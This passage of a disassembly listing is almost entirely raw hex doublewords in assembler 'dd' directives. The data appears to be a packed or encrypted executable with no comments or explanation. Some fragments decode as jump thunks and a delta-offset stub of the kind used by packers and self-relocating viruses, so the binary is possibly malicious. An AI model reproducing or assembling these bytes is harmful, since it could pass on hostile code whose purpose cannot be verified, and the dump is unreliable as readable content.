0FAB290E9h dd 0D25E68FFh, 86E90653h, 68FFFAB2h, 653D2B5h, 0FAB27CE9h dd 0D62A68FFh, 72E90653h, 68FFFAB2h, 653D729h, 0FAB268E9h dd 23D9A4FFh, 31ABB8A6h, 44B8C6B4h, 4D8FD9C7h, 5795E2D0h dd 989A89DAh, 0A2900DCFh, 0B19F1CD0h, 0BFAD2AA2h, 0E5BE3BB1h dd 692F481Eh, 4DFB7D3h, 0F5F77D79h, 0EFC58C53h, 0BE273688h dd 816F0086h, 47CF9F3h, 0DBB17850h, 0B474C55Dh, 2FEEB53Bh dd 0DDF74CA5h, 44995854h, 27AB9636h, 0E1B759EAh, 0B7D8CC92h dd 9BB809F2h, 512FCE2Ah, 0D78E16D5h, 13FC22E6h, 8B9A82h dd 0A40F0000h, 9133A9B6h, 5E027A0Bh, 0DF986E35h, 2FBE2736h dd 36A4D3A9h, 0EC72BE27h, 0EAE09F66h, 0C2C60276h, 7ECDEFF6h dd 3646ABBFh, 0D1318777h, 7506C7FFh, 4EFCD8AEh, 7130B474h dd 0B1911A3Bh, 673D0486h, 0B7D92910h, 82E778FEh, 6C0ECE94h dd 0E8BE60E6h, 0B7D9298Bh, 0CC6E6EFAh, 0B45696DEh, 0A244B8C6h dd 0E5F481Ch, 2E1CE3D2h, 8006A824h, 6608C492h, 15664FE0h dd 3016CDF8h, 33423051h, 0A39117B9h, 0AA9223D9h, 0CBh dd 0F5F77D1Fh, 0E4186553h, 0D00C5442h, 0CAA0672Eh, 0BE2736ADh dd 364E29FFh, 3AC0BE27h, 6498E7D5h, 115F4DDEh, 7A885EDBh dd 0E3BE272Ah, 0F4E25F9Dh, 56CE706Ch, 1503CA22h, 38FF904Ch dd 74C45A62h, 552BF2B4h, 0B7D91122h, 80E5E76Bh, 7E0469FAh dd 95D78901h, 0C78E14C8h, 114D2A00h, 3BC1B7D9h, 34C5074Dh dd 4C9D976Dh, 8573AE28h, 0D55BFDFFh, 0D3C1884Fh, 0D4C25389h dd 0E6D4518Bh, 43976399h, 7442B671h, 9627DD2h, 26310000h dd 363B29A6h, 34B39B6h, 125E4CC9h, 0E66F5DDAh, 0B1869E6h dd 219E5E27h, 30AD2F33h, 3CB93342h, 49C6064Eh, 0A4D3A970h dd 72B7D368h, 0F07D0C97h, 0C3917FFCh, 3685F2C8h, 389BE27h dd 0F375007Dh, 0B2A06741h, 0FE8426A6h, 4D0A66Dh, 8AB474D1h dd 0E78C6204h, 9EB7D91Dh, 857315D7h, 0B05BFDFFh, 81D276C7h dd 9D23A94Bh, 6FF9E7AEh, 1D21562Ch, 6FF5B7D9h, 1E6F58E9h dd 300AC401h, 0CA1A51h, 0A48F0000h, 4E00A4E5h, 21B25E63h dd 0DAF2D33h, 0CEA97F46h, 40BE2702h, 323B29BAh, 40C60652h dd 0F63AC89Eh, 0DDA3BE26h, 0ACB4A21Fh, 0D9C78E30h, 28AE508Ch dd 5A7D1F97h, 0FEF992E3h, 0D8AE757Ch, 0BE271F9Fh, 9C63E96Fh dd 74B1F6C6h, 0E562E8B4h, 0BA90571Eh, 0B7D900BDh, 82F5CB51h dd 94B7D900h, 53057D0Eh, 67DCB279h, 47AE2846h, 2DCF0D59h dd 0B6E79066h, 0A127BE08h, 0E0CE951Bh, 0C75894h, 0A874512h dd 0CD99531Ch, 42B65583h, 4DA9FEA0h, 46000008h, 5644C13Bh dd 6452CF0Dh, 7765E21Ah, 8472EFEDh, 338401FBh, 0B73542F0h dd 0C6064C3Ah, 0D8145B49h, 0E5E76D5Bh, 0F2C88F68h, 0B7D36785h dd 7D23AE89h, 917FFCF0h, 18C09C3h, 53F5F77Dh, 1EA41F65h dd 0FC6156A3h, 0E2DA9D73h, 0B63CBE26h, 24E3AA30h, 872BDAD1h dd 50DB9A04h, 1B83AA28h, 2CA421B2h, 3D9A008h, 0B47AF13Eh dd 6C0BE1A8h, 0AAB7D379h, 796A0DE3h, 26ACB7D3h, 65531AA0h dd 0B1C69C1Fh, 65B7D379h, 15DC59DFh, 2F91A556h, 1AAB5D18h dd 0D36EE344h, 0B81040B7h, 7E7E03F1h, 48C556DCh, 6D5B34DBh dd 0F5F780E4h, 3266DE6Fh, 373D13DAh, 77AE2163h, 739DDAB0h dd 0B271BE09h, 24AA2452h, 1D0B913Eh, 0A60B9C50h, 0D5DFB520h dd 0A82AD096h, 8E551CF4h, 0D786F1C7h, 72FF2A51h, 0ED52D87Ah dd 0AC00D667h, 62209F6Ah, 9EC23ADCh, 0FB996F36h, 151EDE36h dd 1301C88Fh, 14029349h, 2513904Ch, 91D19D5Fh, 9AD661DBh dd 73EA3F8h, 0A550000h, 1A6755D2h, 0EF7765E2h, 0F68270EDh dd 0C28B79F6h, 0E73C8D0Ah, 4DCA024Bh, 5CD9135Fh, 68E5E76Eh dd 75F2EA7Ah, 78FFD59Ch, 96B7D366h, 41F330BBh, 77CAA067h dd 6BB47B62h, 23301EE5h, 451BE2A9h, 0B7D36A32h, 0E3705EE4h dd 0EDDB58E9h, 0FFC66864h, 6A156238h, 73F9B7D3h, 706CF4E2h dd 0EBA16EA4h, 6CC16348h, 6D4h, 0BB38B4BFh, 0CB4884CDh dd 0DE5B91DDh, 0EB6864F0h, 0FF7C70FDh, 0B0BD75AEh, 81D1BF3Ch dd 91E0CE4Bh, 60F0DE5Bh, 4F16EF6Ch, 0D365FE79h, 0AA3510B7h dd 0A06741F3h, 8527A5B2h, 8B4111FFh, 0BD263E9h, 7B620C35h dd 0A970F6B4h, 0F76805EAh, 0F8895F06h, 0BF3D4331h, 817B0AF8h dd 4BC859DFh, 844BADD3h, 0D401F5AEh, 7909F7B7h, 0F698541Bh dd 0F459EA70h, 0ADB9A76Eh, 26FC9E2Fh, 0B7D4014Eh, 0DFFC4D36h dd 512B02E6h, 30F8h, 4DF36D00h, 9DCEA46Bh, 0FBE2736h, 0AD9B5121h dd 0FE8426A6h, 0E082086Dh, 2736690Ah, 0E1321BBEh, 7E3801C4h dd 7DB57h, 16500000h, 1B6h, 80D1FE8Bh, 6A0CC092h, 0B9DB53E4h dd 0C2B2884Fh, 4CB4752Ah, 56DC105Eh, 434C15EBh, 0B1E3C842h dd 0F2BA9057h, 8C0A901Eh, 48EC6406h, 0A6AB9960h, 9A3CB0BEh dd 66EC8E14h, 80470ED5h, 7CA7CDAAh, 0C53410Eh, 22A82ED0h dd 22D9BB91h, 0F17704CFh, 0B8343C2Ah, 0C5074D3Bh, 93C7CDF9h dd 0B70CAEECh, 5B8h, 0DF5C90DBh, 0EF6C60F1h, 0FA777501h dd 0F8C400Ch, 1B985421h, 8CD959CAh, 9DE5D350h, 6DF4E25Fh dd 7C04F26Fh, 632A0380h, 0D364EA8Dh, 0C6512CB7h, 53F5F77Dh dd 884FB9DBh, 752492B2h, 262C1AB4h, 0C2B015A6h, 38B53BB1h dd 0F6C23A4Ah, 48E5E3D4h, 61AAFFA1h, 32000005h, 3A28A527h dd 4836B329h, 5341BE3Eh, 6856D309h, 0F60DD1Fh, 9B511E14h dd 0AA22301Eh, 0BC303F2Dh, 0C903513Fh, 0D6AC734Ch, 0B7D364A1h dd 7D0F9A75h, 6553F5F7h, 0EEEE751Fh, 0F67C7000h, 0CB1C0554h dd 26A35927h, 7E3806BFh, 29D857h, 0F34D0000h, 0CAA06741h dd 0B474C946h, 3C0DD796h, 27DCDCCFh, 9AB3196h, 0D92F4033h dd 0A5B44B7h, 301CD8EDh, 840651h, 0A47B0000h, 14A5DEE5h dd 5FF0BF9Dh, 945BB5E7h, 5B91DFCDh, 0C049A89Ch, 42D33D62h dd 743E376Ch, 0CA9117B4h, 0D85597DCh, 0D84D7202h, 24C3AB7h dd 5894DCCAh, 0E98BD9C7h, 35BB5D9Fh, 4DDF986Eh, 0A92FB7D8h dd 0E46E5C23h, 2FC046E8h, 0FCBFC4B2h, 81382B3Dh, 13E9A27Ah dd 0B7D84964h, 373E2CB2h, 78D13B5h, 0CC005240h, 0E4D2993Bh dd 35BB5D9Fh, 2DB2E776h, 0B9C0F89h, 46FB6h, 7501EF00h dd 2FA8977h, 41F3E671h, 96CAA067h, 8B4752Dh, 62F2E082h dd 5AF58031h, 149A1A9Bh, 18D79E72h, 3F2FDEAh, 1801921Dh dd 0DE799C7h, 0C6F07046h, 0EFCAE26h, 25234E45h, 7EA377B9h dd 0E2D056F8h, 2EB45696h, 0EBB2389Dh, 0D57775FDh, 0ACBF904Fh dd 84F73119h, 0F0AF76F3h, 6C877B35h, 4836C715h, 0AA22C438h dd 81571EF6h, 0B4744D73h, 0F775179Dh, 5240BD0Eh, 4A38C903h dd 0CF0D5A3Ah, 2054CC49h, 0A92B01C8h, 27AE26CDh, 4311FFA1h dd 6DF9E789h, 96DFCD6Fh, 0E0383F15h, 50D6BE26h, 0D46928CAh dd 2F5326E6h, 0FD4E37E2h, 95A43C1h, 884FB9DBh, 74E622B2h dd 0A926ACB4h, 9537B5BBh, 5993E0CEh, 0B2A031B7h, 0B18527A5h dd 8DD377C8h, 440BD24Fh, 0D8E9096Eh, 0C8870DB7h, 793C4F7Ch dd 63DB6CB6h, 0A319E31h, 0AE9F74Bh, 0F89A521Ch, 6625EC72h dd 0C29BFB61h, 0FA9655D4h, 316502A3h, 0B1783FD0h, 0DB6314EAh dd 359B7D8h, 0D1A2D997h, 0F5860C71h, 2608D51Fh, 66EBD9AEh dd 0AD3EC466h, 3220C248h, 1A08AA22h, 1EF914Bh, 8AD97B71h dd 961450A1h, 6B4108CFh, 0BE26520Ch, 0C9AE840Ah, 4DBE2651h dd 0FC4D36C7h, 89DAAACEh, 4706CD53h, 7EA62754h, 571EAFD5h dd 740D7381h, 537C3BB4h, 0C6828D05h, 0A15B2311h, 0B3BDAB10h dd 0AA4C80D1h, 0EFC9E24h, 63E98B41h, 0ECDA57DDh, 0D8C66864h dd 5FD75488h, 71FA9A3Dh, 0FCBA6902h, 5FD9AF76h, 31AE26A5h dd 0F825E4ABh, 5ED402B1h, 92DD1F28h, 6508A2D3h, 7D6B32D4h dd 8C491F3h, 581BF182h, 2CBE26CAh, 0F0D5F243h, 0EE577DCBh dd 31h, 6741F363h, 0D10ACAA0h, 3EC4B474h, 1DADC69Ch, 10D7B7D9h dd 6A319051h, 0DBB12543h, 0B7D8CE9Ch, 0DD6EF47Ah, 3F86A3F4h dd 9D512FBCh, 0D4h, 0F5F77D12h, 0B636402Eh, 5BFD8E14h dd 4AECE06Dh, 0E770145Ch, 2F481EE5h, 0DFBE2736h, 6A31D359h dd 66F7F57Ch, 3BBBE878h, 0C03C461Dh, 4FD9981Eh, 0C340C6A5h dd 271B15EDh, 0A2AF9DBEh, 0A5AB992Ah, 0E0726027h, 0F0DE5BECh dd 0E6A56C60h, 60FA3802h, 0A244D570h, 2E36762Ah, 37BD3F46h dd 22DAA795h, 794F169Ch, 0B47424FBh, 4B128F15h, 0A4C9AE84h dd 0C74DB7D8h, 329ABE36h, 0DF76956Bh, 288AE27h, 0CC004D3Bh dd 0D814614Fh, 0B600F40Ch, 0B60BAD42h, 1ECh, 0A320DCA7h dd 0B330ACB5h, 0C643B9C5h, 0D3508CD8h, 0E76498E5h, 0D8A58D96h dd 0A9B9A724h, 0B9C8B633h, 88D8C643h, 37FED754h, 0D3601661h dd 921DF8B7h, 7FFCF07Dh, 3FBDCAB8h, 9886179Dh, 0C9714C8h dd 0A06741F3h, 6864EBD9h, 0D0D301D7h, 0B67DB474h, 0D91D97E0h dd 6BF177B7h, 1D80F3C9h, 1B04B7D9h, 0B18ADCAh, 0EEC65130h dd 3B000000h, 4662E5A4h, 0E3145298h, 0E01C6452h, 0C507503Eh dd 0ABB54D23h, 7E3DBE26h, 37442CF0h, 3B29BAC0h, 4C3AB735h dd 0D10F8F04h, 5C70D969h, 0A2B8BF95h, 0D056BE26h, 0F5BC834Ah dd 26A2581Fh, 5A30B6BEh, 0BE26A21Dh, 38DA6BF1h, 6D349CC0h dd 7432DD97h, 30AD33B4h, 5DBA269h, 0B7D89272h, 2F481EA4h dd 0DFB7D892h, 2C50C859h, 34D6165Ch, 8B6128AEh, 0AE27D8A1h dd 5B22E96Fh, 773ED9Ch, 0DE6F6B04h, 0E86567F0h, 0A36F6DFAh dd 42B5FE95h, 0ED43983Ah, 0A6000000h, 0B6A421DBh, 0C4B22FADh dd 0D7C542BAh, 0E4D24F8Dh, 93E4619Bh, 17D5A290h, 26A6AC9Ah dd 38B4BBA9h, 4587CDBBh, 5228EFC8h, 0B7D35F25h, 7D830EE9h dd 7635FCF0h, 90D1358Bh, 9512A3F4h, 0A2620FCEh, 0CCE07C74h dd 268B81F6h, 890F95BEh, 827A0AF8h, 4B81CDBBh, 159223A9h dd 0F5F77D8Ah, 0DD1F6553h, 5CB4E860h, 94E0CE95h, 0E56B61F0h dd 0D4085543h, 0FEE7BD4Eh, 0B8B47B61h, 0D2A29032h, 0A1AF9D1Ah dd 21B3892Bh, 403F6FD4h, 12620657h, 764C13DAh, 8B9EF101h dd 81FE8F15h, 6D0FCD93h, 55F7F57Fh, 3CDE1E67h, 28CA024Eh dd 743947Dh, 8CD4C289h, 0BF619BE8h, 8B11B339h, 1CC011FAh dd 12D19854h, 0D0A65F9Eh, 8B9E71A7h, 4722E167h, 60DD6E9Bh dd 23EAE272h, 11B32935h, 9158FA8Bh, 6A8E92D2h, 9D2E6C07h dd 348h, 941FBD00h, 58FAF27Dh, 40E21A6Ah, 27C90352h, 11B32939h dd 0A25A23h, 0E5874512h, 0CD6F6DF7h, 0B35597DFh, 9E40BCC5h dd 70E86812h, 4890000h, 5E08924h, 4, 8704E883h, 685C2404h dd 6788h, 68240489h, 1DE6h, 51240C89h, 8805A1B9h, 11DAB836h dd 0C801F87Dh, 0DA5C3559h, 41682956h, 89000065h, 4812424h dd 424h, 81505900h, 78D0242Ch, 418F57B0h, 8418108h, 57B078D0h dd 53240C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h dd 0C4835824h, 0A6D7E904h, 0FB6CFFFAh, 3BB82C17h, 30653D8h dd 17E0FFC5h, 0DA77B023h, 3B6E98C4h, 0FF6BAABCh, 0D53902F5h dd 9755303h, 0B0360391h, 0E96F8804h, 3C6327A0h, 0AA089068h dd 0C52A02C7h, 0B02F6532h, 0D572F8D8h, 2410619Ch, 0CF7546BCh dd 560F85EAh, 0CE796F10h, 0A14571B5h, 0EB6BB242h, 24h dd 8 dup(0) dd 0BDE900h, 0B5890000h, 653D90Fh, 2649858Bh, 858B064Eh dd 64E0C2Dh, 0D959B58Dh, 858D0653h, 6515662h, 55C3D0FFh dd 0E8h, 0ED815D00h, 653D95Fh, 2649BD83h, 0F01064Eh, 2C85h dd 0FB5FF00h, 8B0653D9h, 4E0C2D85h, 27363506h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 53D913B5h, 0B5FF5606h, 653D90Fh, 0C2D858Bh, 3635064Eh dd 0FF348127h, 0CC483D0h, 0D913B58Dh, 468B0653h, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 49BD8300h, 1064E26h dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 53D93885h, 45858906h dd 8D064E13h, 53DAC38Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 922D9960h, 262DE595h dd 58D894Fh, 0F064E2Bh, 183h, 85C7F900h, 64E2B65h, 6384h dd 5D85C7F8h, 64E06h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0A79FC352h, 991A332Bh dd 6860F87h, 81000000h, 0F8DA89D2h, 0D1B5FF61h, 0E9064E19h dd 9, 625378E9h, 538C51DDh, 9995FF56h, 6A064E0Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0C339C355h, 0EC10F4B8h, 2FC9B531h, 6A064Eh, 1A5995FFh dd 0C08B064Eh, 77D35BEBh, 3F426651h, 2E0F126Ch, 48B9D9BDh dd 0EEFB0571h, 878BF83Fh, 67CE04B3h, 79B86EC8h, 0B47A0381h dd 0C3A14D33h, 2EB7C260h, 0FAC1C6B5h, 24949989h, 7A1668ACh dd 41E12049h, 0A1B88632h, 3D11D7C0h, 6E8A53C0h, 0DBF206EAh dd 0BFD5AD10h, 1420F6D7h, 71D46B23h, 12CC09F9h, 6E8AFh dd 2D720000h, 538D7D7Dh, 7E958h, 0CB380000h, 304962Ch dd 33C081CFh, 29000071h, 4E1315B5h, 563BF06h, 0EF815B0Ch dd 5B0BE93Dh, 4819D8Bh, 108B064Eh, 875B501h, 0C281064Eh dd 8735F81h, 2C55BD29h, 0C281064Eh, 0A7D6D71h, 31B99589h dd 0F281064Eh, 1C3FF01Ch, 3917D981h, 8A5275C3h, 53008FD8h dd 28619D8Bh, 815E064Eh, 2C9DBAE8h, 0C8BF0F6Ah, 9DB6C081h dd 7E96A2Ch, 25000000h, 0CAA36F3Ah, 0EF8322F5h, 0A3850F01h dd 0FFFFFFFh, 0C80h, 7E900h, 53330000h, 0BC88F68Fh, 0F008EB0Ah dd 0A077Dh, 0E9024000h, 0C7Bh, 53DDD368h, 6FF4E906h, 0BD68FFFBh dd 0E90653DEh, 0FFFB6FEAh, 53E01A68h, 6FE0E906h, 0CC68FFFBh dd 0E90653E0h, 0FFFB6FD6h, 53E19E68h, 6FCCE906h, 0FA68FFFBh dd 0E90653E3h, 0FFFB6FC2h, 53E49268h, 6FB8E906h, 0B768FFFBh dd 0E90653E5h, 0FFFB6FAEh, 53E6B368h, 6FA4E906h, 3F11FFFBh dd 0CB8610C1h, 4E048E3Fh, 0E2810BBCh, 6DF98334h, 0CE65FEAFh dd 0E0918BDBh, 57080E56h, 0D18298CDh, 49FA0847h, 630CCB73h dd 921CCF33h, 6EE15700h, 0D27D0790h, 33DB8334h, 9CEFCB74h dd 23AFFA1Ah, 0C26A4EB3h, 0D08F2E38h, 1A9CEFA7h, 37C00B56h dd 96B0AC62h, 388302A7h, 594504ACh, 8A1CD202h, 4AF7B63Fh dd 6DE32E7Ch, 0D9720F6h, 163CC644h, 51B76BF4h, 7191C035h dd 94529DE8h, 660317ECh, 0DBFF0757h, 0F8CDF767h, 15A1D501h dd 0F1297AFh, 5832374Ch, 42h, 7306FBAFh, 58A32CDEh, 0E8BD650Dh dd 0A9AD5AB7h, 6827B3C9h, 1CD22FDAh, 0EFC55DFh, 38AE3A85h dd 2FA4D190h, 2343E32Eh, 0AF2570F9h, 0D1901964h, 0E32E2FA0h dd 1091AD13h, 32377511h, 11656h, 39C3AD00h, 663B6018h dd 0AAD0B821h, 649D35Fh, 1FC76FF8h, 9C163760h, 0F9BE61Ah dd 933BE185h, 227C80BEh, 24F91405h, 841671A8h, 4BD4607Ch dd 0E7708EC1h, 69AFB53Fh, 0DF956E0h, 62EE3984h, 64C77D8h dd 4908B904h, 1A9C08D5h, 0F0A15DF2h, 751DE966h, 45ABDFA0h dd 0B13D7B03h, 6F49B828h, 37601FC7h, 0B41A9C47h, 9C4748F5h dd 0BA307B1Ah, 933BE36Fh, 0CF805D09h, 145FE833h, 6621C988h dd 93681CD2h, 0EF853E39h, 0A71DA958h, 0C63BAB5Ch, 18A24AF2h dd 0FB46CF4Bh, 12C2B06Fh, 0AEF9E57Eh, 42453106h, 46CF4B18h dd 0C06B26FBh, 0A933DB67h, 2DB75FBDh, 0D58E137h, 2046D081h dd 9992A6FAh, 5AE3B560h, 9DFFBh, 6E9CB400h, 0EC1E33BDh dd 63A1B13Bh, 0DF3B28B2h, 58C2A42Eh, 84770EA7h, 0FD8738E2h dd 7600B167h, 0F07A2BEFh, 1CF2A35Fh, 3288B574h, 0A93B1CCFh dd 9785E100h, 18FE65EFh, 5E33DB8Ch, 3FF79E15h, 0C751DD44h dd 48D27A88h, 2974FD1Dh, 0FB43EC9Dh, 4B0AB206h, 1CD2F6C7h dd 0EC2E38C2h, 168C1863h, 0CB9923CBh, 7938C14Dh, 0E32D09C8h dd 0B83955BBh, 32384F69h, 0FACB8711h, 0D722AB57h, 2CB8038Ch dd 0A271h, 6EE1C800h, 0E97D0790h, 24E38B33h, 1A9CEF7Bh dd 0F8B75FAAh, 1A9CEF4Fh, 1EA7337Eh, 9CEBFF5Fh, 0BB47081Ah dd 33CF800Ah, 7735B68Bh, 0AE7970C7h, 0D8299922h, 717938E0h dd 4AE32D7Fh, 23DE4EFFh, 8645ED95h, 0E32D60D9h, 8D35C10Ch dd 7DD695CEh, 35DD28E5h, 0B061BBABh, 86DA4026h, 0B5618D84h dd 0F5D130B9h, 9E000008h, 19A354B2h, 8F19CA38h, 69041C3h dd 7E08B95Dh, 0E88132E8h, 12085E51h, 8F8DD761h, 91154DEh dd 8581CE58h, 9756FED4h, 1CCF31EEh, 0E1E28B1Dh, 0BF75885h dd 0CA850FC0h, 0E1E28B3Ch, 5F07906Eh, 0AE0E748Ah, 28E1B82h dd 7A2BD778h, 19C1F70Ah, 0D258A85Ah, 8F18631Ch, 14BC4A05h dd 438A9F3Fh, 0EC94BE5Eh, 2E34002Dh, 0DC68B3E3h, 50AEA12Bh dd 177A08C7h, 0B51B6468h, 0DF2B2499h, 5FABA42Eh, 576B17D6h dd 0D53B68F0h, 0BF7E26B9h, 68F05796h, 0E46EFA45h, 4FF79F6Bh dd 0F342D97Ah, 0EFAE1A18h, 68F03746h, 0ED9E2A75h, 951EEC63h dd 0FC850D6h, 0CD57FF97h, 0ADF88197h, 2A83BB21h, 9E28D925h dd 5CCC55B1h, 0C36B13A5h, 0D3BED1EEh, 0B13B1EE5h, 91DC65B3h dd 0BB184605h, 80CB6EBEh, 0C47130D8h, 0F77682BBh, 0D12D22ACh dd 0C071FD48h, 7C48E18h, 0EB36BF5Dh, 0DA4217A0h, 2ED08472h dd 41B13D88h, 9150F8C0h, 70CC77A9h, 3FFE87D2h, 7F4C7813h dd 7D7C1A80h, 0C6199AA4h, 4E7C3h, 39C31A00h, 0A261ED2Bh dd 1A9CEFF5h, 9CFFB2DFh, 1C9B201Ah, 0C879E563h, 9E56303h dd 34E281F8h, 6D1560ABh, 2D059CAEh, 0FA18EDE3h, 0AC7509Eh dd 0CA158B17h, 0B06F9E76h, 0B7169FBFh, 798h, 6B755FBh dd 8435D57Ch, 0F9AA58FAh, 7526F46Fh, 0F0A17BEBh, 99CDC057h dd 1C48D283h, 0A2C34DFEh, 123DC778h, 0C56D43F4h, 0CF0F5906h dd 51FA8C1Ch, 13516EE1h, 6A12BA05h, 9CEF82ABh, 3EE6311Ah dd 9CEFD67Fh, 2EBA051Ah, 0ECCC35A5h, 34118544h, 0F7421CCFh dd 0C9DCA46h, 5C1BC3F5h, 0E57ECF36h, 68F29AE5h, 448F18EAh dd 664E0DB8h, 9B46A3F3h, 0EBAA5266h, 5F2E0F4Fh, 2898216Ch dd 8F37DFD9h, 5007B6BAh, 9723A4D3h, 7C5873D8h, 7BB58A21h dd 0A1DC0B2Bh, 25AF57A2h, 57B59D2Ah, 29B35B0Ch, 0C54FDB29h dd 36287C8Ah, 477161F6h, 6E65FBEh, 0A3AD0000h, 272AB465h dd 0B2A02ADBh, 4E159F50h, 0D98D17C8h, 62F99243h, 7425F76Fh dd 0EB9C7AEAh, 65160461h, 0E59674DBh, 0FFA8670Fh, 2E1CCF0Fh dd 6FBF39Ch, 0A74B0AB2h, 221CD2C9h, 2097154Dh, 24DD644h dd 0A6D99C2Dh, 0B159A41Ah, 231D4A09h, 28D0E32Dh, 2D233C69h dd 59A4EFE3h, 95BA44CDh, 0AE14E069h, 0EECA3790h dd 55B8746h, 4590E563h, 0ED62EC94h, 9DC68511h, 1EE9FF4Ah dd 7077B849h, 3FFE35CBh, 0E9FFFC16h, 0A32F7AC5h, 0FFFCBBE4h dd 0E89170E9h, 0C9149D7Dh, 34CD67Eh, 0F7A05F07h, 26E9FFFCh dd 0E8A74FDBh, 0EFAC2776h, 9F7DE973h, 9DC89D13h, 0B6555305h dd 18D760ABh, 0F793186Ch, 6CE7DE52h, 7886C908h, 0EA33824h dd 51B039ABh, 614h, 8233D17Fh, 0F8A959F8h, 7526E46Eh, 0F1A278EBh dd 6C1DFF67h, 1D493CD3h, 0A0C44EFFh, 263FC97Ah, 96B943F4h dd 39E1B768h, 0CF0ECD7Ah, 0C56E001Ch, 0CB5506FBh, 98C58486h dd 4B1A9CEFh, 0ED76A4C1h, 640C57A2h, 0CF3431A5h, 8E17621Ch dd 1B2B11E6h, 9497FE73h, 35D17E08h, 0CFF11484h, 3893BC46h dd 1B66EF2Bh, 0BA951FD0h, 35CFA44Ch, 3E672635h, 0EDE3302Eh dd 9D31CDA2h, 0DC66EF7Bh, 330E9773h, 941EB1CDh, 91C14BCFh dd 0F25DE773h, 31BB6314h, 320DE220h, 0CED372B1h, 0DC45DB67h dd 9E323DB6h, 650E37F6h, 33BDE330h, 139FEA30h, 1F058h dd 1FDBB000h, 3C6928F4h, 0EFE330C9h, 3B73CFA4h, 4AF8A564h dd 0E02BE330h, 0FB600995h, 0E9965506h, 0EA1A9CEFh, 9CEF022Bh dd 0F066B11Ah, 0AB25AA5h, 0EFFAA362h, 0DE291A9Ch, 0EFCE7736h dd 0B2FD1A9Ch, 0EC3F6726h, 0A1EC1CD2h, 0AB9B7018h, 0AD330748h dd 0FFA665F1h, 0C9E32D64h, 4DCF9721h, 64B9E6A5h, 216CE32Dh dd 0B8172F95h, 1FC76F49h, 0C24EBC95h, 63675B03h, 8C3D88E5h dd 28B14D02h, 0AA70F680h, 4FBB941Eh, 0F76CF69Eh, 0DA279723h dd 8F7736DEh, 8AEFB14Ah, 97AA07B5h, 0CC587B7Ah, 46EFAE56h dd 75F7897Eh, 56A17BEBh, 5DA820Bh, 20629132h, 0A1F50A58h dd 45DEE4B9h, 18178156h, 0E416B63Fh, 50E89958h, 75DBF789h dd 7249D8D9h, 451E3ED4h, 76000000h, 19A278ECh, 0FB9942CEh dd 620AB206h, 18D8DD8h, 0D2F6F042h, 5211B91Ch, 0E32D0925h dd 164ED8h, 68B329B5h, 97320DFh, 0FC62E32Dh, 4EC25F42h dd 0DAA53238h, 0FD000000h, 0A32CDE73h, 8783CE58h, 7E27B3FEh dd 0C80AEEC3h, 0B369EB0Ch, 0F7B29D27h, 9CBB0F38h, 2873BE1Ah dd 0CB51159Fh, 6B97B842h, 0EA1839C3h, 88411661h, 0D8E83058h dd 3BE36CF8h, 4223A0B1h, 7A048DD8h, 55A029D5h, 5BF47E0Ah dd 0CC56FEAFh, 3AF98585h, 1A9CDEC4h, 2B19F0C5h, 461BE76Ah dd 875CEF20h, 34B2217h, 33BD4999h, 0A5D2911Ch, 581A9C29h dd 451AC20Dh, 1AF41244h, 7526B264h, 14BCFC05h, 0CCA58255h dd 3EE6311Ch, 0B768B2B4h, 0C1A4392Dh, 3A85D059h, 0B1150CE6h dd 968F1BFh, 3B8h, 0E69775DBh, 6415F55Ch, 0D98A78DAh, 5506144Fh dd 0D0819BCBh, 0B9ADA037h, 3C28B263h, 0C2A32DDEh, 321DA758h dd 0A54D23D4h, 0CF0CB9E6h, 31DA6C1Ch, 0E69785E1h, 6617F35Ch dd 516EE1BDh, 30B90412h, 0AC5DA9A6h, 6F87AC03h, 44ED1A9Ch dd 7DE5636Fh, 255DF584h, 0BD3F23CFh, 0F8A0EB50h, 631C0C39h dd 2974BFE5h, 164FD981h, 0A4307B04h, 30C771E5h, 0CE57A2E3h dd 0F9B8A35Eh, 0E330F84Ch, 41E9347Fh, 7EF35882h, 88C751E5h dd 2D78EE7Ah, 5F5803D9h, 0F251DAB5h, 320h, 7E2FDD73h, 0FCAD5DF4h dd 7122E072h, 0ED9E7CE7h, 68190363h, 214538CFh, 0A4C04AFBh dd 2A3BC576h, 9AB53FF0h, 3DE5BB6Ch, 0CF0BD17Eh, 0C972041Ch dd 7906EE1h, 8334D27Dh, 22CAEE13h, 6A13D27Ah, 991A9CEFh dd 1B03C24Eh, 481CD2C2h, 8CB574FDh, 2BE32D3Ch, 0CE58E13Bh dd 54FD8783h, 44AA2DB6h, 0CE34F20Ah, 5DF031B0h, 20773238h dd 0CE000000h, 0AB206FBh, 0D2F6C74Bh, 20A9F41Ch, 2D093061h dd 13DA3E3h, 384F81A0h, 0D5E632h, 0E13D0000h, 0C1FE516Eh dd 0A12A75A3h, 8199CC56h, 0BA62ADF8h, 58E43630h, 0FB2145CFh dd 9B67E872h, 83E06A12h, 0C6440D97h, 639FB03Ah, 5E350AB2h dd 6744EED2h, 118544D0h, 2E1A9C8Ch, 8C34E521h, 2BB46202h dd 85CA54E0h, 70FCD179h, 1E5B8E4Dh, 0A2129B27h, 8F4C1A5Fh dd 72BD46D4h, 7534DC27h, 1CD245CDh, 9202B3FEh, 0E2A1496Fh dd 0E57E3C19h, 0FCD179C4h, 4494D976h, 0E8901CB2h, 6112085Eh dd 44E8FD7h, 70F37D06h, 8BD621AAh, 2EE2EC40h, 5AE3B560h dd 1FBFBh, 4AB89800h, 0C0420F99h, 3FCD850Fh, 0BB5F048Eh dd 34E6800Ah, 6053EA83h, 0D9631406h, 52DC8D8Bh, 0CC560713h dd 0D68783h, 0AEC9958h, 8D1F1CCFh, 9785E1E4h, 17F35CE6h dd 9A80E56Fh, 0FBB45D0Eh, 11822806h, 0C58C25F8h, 0AAF5173Bh dd 0FCFF4302h, 44EC1CD2h, 2D1FD885h, 36C00BE3h, 1661EA30h dd 0DE8342CBh, 0C5E32D1Fh, 5FC2275Fh, 8323845h, 0C2h, 906EE15Fh dd 0F8B75F07h, 1A9CEF4Fh, 0B91A71Fh, 5BD1B90Bh, 0FCA96810h dd 2F1A9CD8h, 98CE58E4h, 75FE0C43h, 9AC3822Ah, 